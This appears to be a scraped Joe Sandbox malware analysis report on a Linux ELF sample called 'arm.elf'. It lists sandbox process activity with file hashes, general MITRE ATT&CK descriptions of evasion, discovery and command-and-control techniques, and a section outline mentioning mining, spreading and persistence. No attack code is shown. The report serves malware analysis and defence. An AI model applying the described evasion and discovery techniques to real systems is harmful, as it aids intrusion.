Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 8388619 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: wrapper-2.0 PID: 6907, Parent PID: 6803

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfpm-power-backlight-helper PID: 6907, Parent PID: 6803

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Analysis Process: xfce4-panel PID: 6807, Parent PID: 6545

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6807, Parent PID: 6545

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 8388620 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6821, Parent PID: 6545

General

Start time (UTC):	18:17:35
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6821, Parent PID: 6545

General

Start time (UTC):	18:17:35
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 8388621 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-session PID: 6552, Parent PID: 1900

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfdesktop PID: 6552, Parent PID: 1900

General

Start time (UTC):	18:17:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfdesktop
Arguments:	xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542
File size:	473520 bytes
MD5 hash:	dfb13e1581f80065dcea16f2476f16f2

Analysis Process: xfce4-session PID: 6593, Parent PID: 1900

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6593, Parent PID: 1900

General

Start time (UTC):	18:17:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: xfce4-session PID: 6618, Parent PID: 1900

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfdesktop PID: 6618, Parent PID: 1900

General

Start time (UTC):	18:17:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfdesktop
Arguments:	xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542
File size:	473520 bytes
MD5 hash:	dfb13e1581f80065dcea16f2476f16f2

Analysis Process: dbus-daemon PID: 6633, Parent PID: 6632

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: tumblerd PID: 6633, Parent PID: 6632

General

Start time (UTC):	18:17:28
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd
Arguments:	/usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd
File size:	149888 bytes
MD5 hash:	2ef099898845e9c5ec6f1a6fd3ad61af

Analysis Process: systemd PID: 6646, Parent PID: 1

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: systemd-localed PID: 6646, Parent PID: 1

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/lib/systemd/systemd-localed
Arguments:	/lib/systemd/systemd-localed
File size:	43232 bytes
MD5 hash:	1244af9646256d49594f2a8203329aa9

Analysis Process: xfce4-session PID: 6795, Parent PID: 1900

General

Start time (UTC):	18:17:31
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6795, Parent PID: 1900

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: systemd PID: 6801, Parent PID: 1860

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: gvfs-udisks2-volume-monitor PID: 6801, Parent PID: 1860

General

Start time (UTC):	18:17:32
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gvfs-udisks2-volume-monitor
Arguments:	/usr/libexec/gvfs-udisks2-volume-monitor
File size:	199648 bytes
MD5 hash:	4912ae23684d55062ac889dd671a8ab9

Analysis Process: dbus-daemon PID: 6819, Parent PID: 6818

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: ibus-portal PID: 6819, Parent PID: 6818

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-portal
Arguments:	/usr/libexec/ibus-portal
File size:	92536 bytes
MD5 hash:	562ad55bd9a4d54bd7b76746b01e37d3

Analysis Process: xfce4-session PID: 6836, Parent PID: 1900

General

Start time (UTC):	18:17:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6836, Parent PID: 1900

General

Start time (UTC):	18:17:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: Xorg PID: 6867, Parent PID: 1465

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/usr/lib/xorg/Xorg
Arguments:	-
File size:	2448840 bytes
MD5 hash:	730cf4c45a7ee8bea88abf165463b7f8

Analysis Process: sh PID: 6867, Parent PID: 1465

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6868, Parent PID: 6867

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: xkbcomp PID: 6868, Parent PID: 6867

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/xkbcomp
Arguments:	/usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm
File size:	217184 bytes
MD5 hash:	c5f953aec4c00d2a1cc27acb75d62c9b

Analysis Process: systemd PID: 6911, Parent PID: 1

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: accounts-daemon PID: 6911, Parent PID: 1

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/lib/accountsservice/accounts-daemon
Arguments:	/usr/lib/accountsservice/accounts-daemon
File size:	203192 bytes
MD5 hash:	01a899e3fb5e7e434bea1290255a1f30

Analysis Process: accounts-daemon PID: 6940, Parent PID: 6911

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/lib/accountsservice/accounts-daemon
Arguments:	-
File size:	203192 bytes
MD5 hash:	01a899e3fb5e7e434bea1290255a1f30

Analysis Process: language-validate PID: 6940, Parent PID: 6911

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-validate
Arguments:	/usr/share/language-tools/language-validate en_US.UTF-8
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: language-validate PID: 6942, Parent PID: 6940

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-validate
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: language-options PID: 6942, Parent PID: 6940

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-options
Arguments:	/usr/share/language-tools/language-options
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Analysis Process: language-options PID: 6943, Parent PID: 6942

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/share/language-tools/language-options
Arguments:	-
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Analysis Process: sh PID: 6943, Parent PID: 6942

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	sh -c "locale -a \| grep -F .utf8 "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6945, Parent PID: 6943

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: locale PID: 6945, Parent PID: 6943

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/locale
Arguments:	locale -a
File size:	58944 bytes
MD5 hash:	c72a78792469db86d91369c9057f20d2

Analysis Process: sh PID: 6946, Parent PID: 6943

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: grep PID: 6946, Parent PID: 6943

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -F .utf8
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Analysis Process: xfce4-session PID: 6922, Parent PID: 1900

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6922, Parent PID: 1900

General

Start time (UTC):	18:17:49
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: systemd PID: 6968, Parent PID: 1

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: geoclue PID: 6968, Parent PID: 1

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/usr/libexec/geoclue
Arguments:	/usr/libexec/geoclue
File size:	301544 bytes
MD5 hash:	30ac5455f3c598dde91dc87477fb19f7

Analysis Process: dbus-daemon PID: 7091, Parent PID: 7090

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Analysis Process: gjs PID: 7091, Parent PID: 7090

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/gjs
Arguments:	/usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications
File size:	23128 bytes
MD5 hash:	5f3eceb792bb65c22f23d1efb4fde3ad

Analysis Process: systemd PID: 7206, Parent PID: 1

General

Start time (UTC):	18:18:17
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: fprintd PID: 7206, Parent PID: 1

General

Start time (UTC):	18:18:17
Start date (UTC):	31/12/2024
Path:	/usr/libexec/fprintd
Arguments:	/usr/libexec/fprintd
File size:	125312 bytes
MD5 hash:	b0d8829f05cd028529b84b061b660e84

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/run/user/1000/dconf/user

/run/user/127/dconf/user

/tmp/server-0.xkm

/var/lib/gdm3/.config/ibus/bus/ee49dfd4fa47433baee88884e2d7de7c-unix-0

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: arm.elf PID: 6238, Parent PID: 6159

General

Chronological Activities

Analysis Process: arm.elf PID: 6240, Parent PID: 6238

General

Chronological Activities

Analysis Process: sh PID: 6240, Parent PID: 6238

General

Chronological Activities

Analysis Process: sh PID: 6246, Parent PID: 6240

General

Chronological Activities

Analysis Process: sh PID: 6247, Parent PID: 6246

General

Chronological Activities

Analysis Process: ls PID: 6247, Parent PID: 6246

Linux Analysis Report
arm.elf